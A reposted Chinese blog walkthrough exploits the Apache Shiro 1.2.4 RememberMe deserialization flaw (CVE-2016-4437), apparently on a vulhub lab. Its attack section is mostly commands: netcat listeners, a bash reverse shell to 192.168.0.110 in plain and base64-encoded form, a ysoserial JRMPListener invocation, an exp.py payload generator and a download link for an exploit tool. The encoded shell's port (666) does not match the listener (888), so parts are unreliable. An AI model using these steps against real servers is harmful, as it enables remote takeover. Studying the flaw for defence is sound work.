Apache shiro 1.2.4反序列化漏洞(CVE-2016-4437)

本文阅读 2 分钟
首页 安全分享,WEB安全 正文

Apache shiro 1.2.4反序列化漏洞

漏洞原理

shiro可以执行身份验证,授权,密码,会话管理,Apache Shiro框架提供了记住我的功能(RememberMe),用来记录用户的凭证,当用户提交时,会对用户的登录凭证进行序列化- >AES加密- >base64编码,同时,在服务器端识别用户身份时,会进行base64解码- >AES解码- >反序列化,问题出现在AES加密的密钥硬编码在代码里,所以只要攻击这通过源代码找到AES加密的密钥,就可以构造一个恶意对象,进行序列化- >AES加密- >base64编码,然后将其作为用户登录凭证放在RememberME字段中发送,Shiro对其进行解密和反序列化,从而造成反序列化漏洞

漏洞特征

在返回包中存在rememberme=deleteme字段

影响版本

Apache Shiro <=1.2.4

jar工具利用

链接:https://pan.baidu.com/s/1YN8e7j8ZJU90MH8FeFEODg ; 提取码:rnzf 

端口监听

nc -lvp 9999

img

BP抓包

账号密码登录 

admin/vulhub

img

添加ip:端口

img

ceye.io进行漏洞检测

img

反弹shell

img

查看端口

img

代码

1.bash -i >& /dev/tcp/192.168.0.110/888 0>&1

加密:

bash -c {echo,YmFzaCAtaSA+JiAvZGV2L3RjcC8xOTIuMTY4LjAuMTEwLzY2NiAwPiYx}|{base64,-d}|{bash,-i}'

2.在攻击机上执行

java -cp ysoserial-0.0.6-SNAPSHOT-all.jar ysoserial.exploit.JRMPListener 888 CommonsCollections4 'bash -c {echo,YmFzaCAtaSA+JiAvZGV2L3RjcC8xOTIuMTY4LjAuMTEwLzY2NiAwPiYx}|{base64,-d}|{bash,-i}'

3.使用py脚本生成payload

python exp.py 192.168.0.110:888

4.攻击机上监听端口888

nc -lvp 888

5.bp抓包,在rememberme中添加生成的payload

6.发送数据包,查看java监听端口和nc监听端口的结果

本文为互联网自动采集或经作者授权后发布,本文观点不代表立场,若侵权下架请联系我们删帖处理!文章出自:https://blog.csdn.net/m0_63127854/article/details/125034211
-- 展开阅读全文 --
BUUCTF Web [极客大挑战 2019]Knife
« 上一篇 06-24
安全面试之XSS(跨站脚本攻击)
下一篇 » 07-24

发表评论

成为第一个评论的人

热门文章

标签TAG

最近回复